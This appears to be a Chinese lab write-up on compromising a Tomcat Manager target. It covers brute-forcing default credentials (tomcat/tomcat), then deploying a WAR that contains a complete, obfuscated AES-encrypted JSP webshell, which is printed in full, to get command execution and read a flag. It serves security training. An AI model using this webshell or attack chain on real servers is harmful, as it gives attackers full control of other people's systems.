【靶机实战】Tomcat Manager – 恶意文件上传

靶机信息

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Tomcat Manager – 恶意文件上传

漏洞科普

Tomcat Manager 是 Apache Tomcat 服务器提供的管理后台,用于动态部署、卸载和管理 Web 应用(通常通过上传 .war 文件实现)。其漏洞核心在于:若管理员未修改默认弱口令(如 tomcat:tomcat)或未限制访问权限,攻击者可利用弱口令爆破或直接登录后台,上传包含恶意 JSP 木马的 .war 文件。Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录(如 /xxx/shell.jsp),攻击者通过访问该路径即可执行任意系统命令,完全控制服务器。

靶机实战

打开靶机首页,页面为Tomcat默认页面,点击 Manager App 尝试进入Tomcat管理页面,发现需要认证。

图片[1] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell
图片[2] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell

这里有多种方式可以进行密码破解,第一种是使用无影Tscan工具的密码破解模块。

将靶机域名填入目标框内,在勾选爆破目标 Tomcat ,端口修改为靶机开放的端口。修改好后即可开始爆破,最终得到凭据:tomcat / tomcat

图片[3] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell

第二种就是通过重放数据包来进行爆破,在认证的时候,随便输入一组账号密码,点击后登录进行抓包,在HTTP数据包中有请求头:Authorization: Basic YWRtaW46YWRtaW4=,其中YWRtaW46YWRtaW4=则是账号密码的base64后的值,解码后为:admin:admin。也就是说只将爆破的账号密码组合为:<账号>:<密码>后进行base64编码,就可以对目标进行爆破。

在BurpSuite中,可以将登录请求的数据包发送到Intruder模块,对字段进行编辑后进行爆破,详细操作看下面视频。最终得到凭据:tomcat / tomcat


进入到后台后,可以上传包含恶意 JSP 木马的 .war 文件,Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录,比如上传一个 api.war ,那么就会将文件自动解压到 /api/

制作WAR包也很简单,首先准备好一个你要释放到目标服务器的JSP文件,可以是WebShell,也可以是简易命令执行代码。我这里准备一个天蝎的WebShell JSP文件,命名为 api.jsp

<%@page import="java.lang.reflect.*,java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*"%><%!class MyLoader extends ClassLoader {
	MyLoader(ClassLoader c) {
			super(c);}}
%>
<%
try{
		String key="900bc885d7553375";
		request.setAttribute("sky", key);
		String data=request.getReader().readLine();
		if (data!= null) {
			String ver = System.getProperty("java.version");
			byte[] code=null;
	        if (ver.compareTo("1.8") >= 0) {
	            Class Base64 = Class.forName("java.ut"+"il.Base64");
	            Object Decoder = Base64.getMethod("getDecoder", (Class[]) null).invoke(Base64, (Object[]) null);
	            code = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data.getBytes("UTF-8")});
	        } else {
	            Class Base64 = Class.forName("sun.misc.BAS"+"E64Decoder");
	            Object Decoder = Base64.newInstance();
	            code = (byte[]) Decoder.getClass().getMethod("deco"+"deBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{data});
	        }
			Cipher c = Cipher.getInstance("AES");
			c.init(2, new SecretKeySpec(key.getBytes(), "AES"));
			byte[] ccode=c.doFinal(code);
			MyLoader ml=new MyLoader(this.getClass().getClassLoader());
			Method m = ml.getClass().getSuperclass().getDeclaredMethod("defin"+"eClass", new Class[]{byte[].class, int.class, int.class});
			m.setAccessible(true);
			Class cls=(Class)m.invoke(ml,new Object[]{ccode, 0, ccode.length});
			cls.newInstance().equals(pageContext);
		}
	}catch(Exception e){
		e.printStackTrace();
};
out=pageContext.pushBody();
%>

然后执行命令:jar -cvf api.war api.jsp ,就会生成api.war文件了。

图片[4] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell

回到Tomcat后台上传刚才生成的 api.war ,上传后,可以在应用程序发现存在 /api/ 目录了。

图片[5] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell
图片[6] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell

我们制作WAR包的JSP文件名为:api.jsp,所以访问 /api/api.jsp 即可访问到我们制作好的JSP文件。这里使用天蝎权限管理工具来连接WebShell的URL:<url>/api/api.jsp,可以发现连接成功

图片[7] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell

接着通过文件管理功能查看根目录 /flag 文件即可获取flag。

图片[8] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞53 分享
茶谈区 抢沙发

请登录后发表评论

    暂无评论内容